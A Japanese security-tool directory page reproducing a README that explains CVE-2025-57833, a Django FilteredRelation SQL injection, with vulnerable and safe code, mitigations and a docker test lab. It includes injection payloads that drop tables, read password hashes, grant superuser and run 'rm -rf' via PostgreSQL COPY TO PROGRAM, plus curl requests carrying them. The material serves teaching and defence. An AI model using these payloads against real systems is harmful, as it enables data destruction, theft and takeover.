Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-57833 — CVE-2025-57833をテストするための環境を構築しました。この環境はAIを使用して構築されたため、継続的に変更される可能性があります。 | Kitploit
ツール/GitHubGitHub/mkway/cve-2025-57833
静的分析脆弱性分析コード分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubmkway/cve-2025-57833

CVE-2025-57833

CVE-2025-57833をテストするための環境を構築しました。この環境はAIを使用して構築されたため、継続的に変更される可能性があります。

リポジトリを見る
2121年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-57833: Django SQLインジェクションの脆弱性

このリポジトリは、CVE-2025-57833(DjangoのORMにおける深刻なSQLインジェクションの脆弱性)を実演・解説します。この脆弱性は、Django 4.2系の4.2.24未満、5.1系の5.1.12未満、5.2系の5.2.6未満に影響します。

🚨 脆弱性の概要

CVSSスコア: 9.8(緊急)
影響: リモートコード実行(RCE)に至るSQLインジェクション
認証要件: なし(未認証攻撃)


📚 背景の理解

Django ORMとは?

Django ORM(オブジェクト関係マッピング)を使用すると、生のSQLではなくPythonコードでデータベースとやり取りできます。例えば:

root@kitploit:~
# 生のSQLの場合: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

FilteredRelationとは?

FilteredRelationは、テーブル結合時に追加のフィルタ条件を指定できるDjangoの機能です:

root@kitploit:~
# 著者と書籍を結合するが、アクティブな著者のみ
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

動的フィールド名とは?

開発者がユーザー入力に基づいて動的にフィールド名を作成する必要がある場合があります:

root@kitploit:~
# ユーザーが異なる条件で検索したい場合
search_field = request.POST.get('field_name')  # ユーザー入力: "title", "author" など

# **kwargsを用いた動的フィールド作成
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 脆弱性の解説

脆弱性の発生メカニズム

この脆弱性は、サニタイズされていないユーザー入力がannotate()やalias()内のFilteredRelationで辞書キーとして使用された場合に発生します。以下が段階的なプロセスです。

ステップ1: 脆弱なコードパターン

root@kitploit:~
# 脆弱なアプリケーションでの一般的なパターン:
user_input = request.POST.get('search_field')  # 攻撃者がこれを制御

# ここで脆弱性が発生 - ユーザー入力がSQLの列エイリアスになる
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ 危険
})

ステップ2: 悪意のある入力

攻撃者が悪意のある入力を送信します:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

ステップ3: SQLの生成

Djangoは以下のようなSQLを生成します:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

ステップ4: SQLインジェクションの実行

悪意のあるSQLが実行され、以下のようなことが起こる可能性があります:

  • テーブルの削除
  • 機密データの抽出
  • 任意のコマンド実行(RCE)

🔍 実際の攻撃シナリオ

一般的な脆弱なパターン

多くのDjangoアプリケーションには、ユーザーが検索フィールドを選択できる検索機能があります:

root@kitploit:~
# views.py - 一般的な脆弱なパターン
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # 開発者は安全だと思っている - しかし実際は安全ではない!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

攻撃ベクトル

root@kitploit:~
# 攻撃者は以下のPOSTリクエストを送信:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ 安全なコードと脆弱なコード

❌ 脆弱なコード

root@kitploit:~
# 絶対に行わないでください - ユーザー入力をそのまま辞書キーにする
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQLインジェクション!
})

✅ 安全なコード - ホワイトリスト方式

root@kitploit:~
# 安全 - ホワイトリストによる検証
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # これで安全
})

✅ 安全なコード - 静的なフィールド名

root@kitploit:~
# 安全 - 静的なフィールド名を使用
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 影響の拡大: SQLインジェクションからRCEへ

1. 情報漏洩

root@kitploit:~
-- 機密データの抽出
'; SELECT username, password FROM auth_user; --

2. データベースの操作

root@kitploit:~
-- データの改ざん
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. リモートコード実行(PostgreSQL)

root@kitploit:~
-- システムコマンドの実行(適切な拡張機能があるPostgreSQL)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ 緩和策

1. 入力検証(推奨)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. 動的フィールド名を避ける

root@kitploit:~
# 動的フィールド名の代わりに条件分岐を使用
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Djangoのアップデート

最新のDjangoバージョンにアップデートしてください:

  • Django 4.2.24以上
  • Django 5.1.12以上
  • Django 5.2.6以上

🧪 この脆弱性のテスト

このリポジトリには完全なテスト環境が含まれています:

root@kitploit:~
# 脆弱なDjangoアプリケーションを起動
docker-compose up

# 脆弱性をテスト
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

詳細なテスト手順については、document/README.mdを参照してください。


📖 参考文献

  • Django Security Advisory: Django security releases issued: 5.2.6, 5.1.12, and 4.2.24
  • Technical Analysis: Django Unauthenticated 0-click RCE and SQL Injection by Eyal Gabay
  • CVE Details: CVE-2025-57833 Django SQL Injection

⚠️ 免責事項

このリポジトリは教育および防御的なセキュリティ目的のみで提供されています。この情報を、自分が所有していない、またはテストの許可を得ていないシステムへの攻撃に使用しないでください。

ツールをダウンロード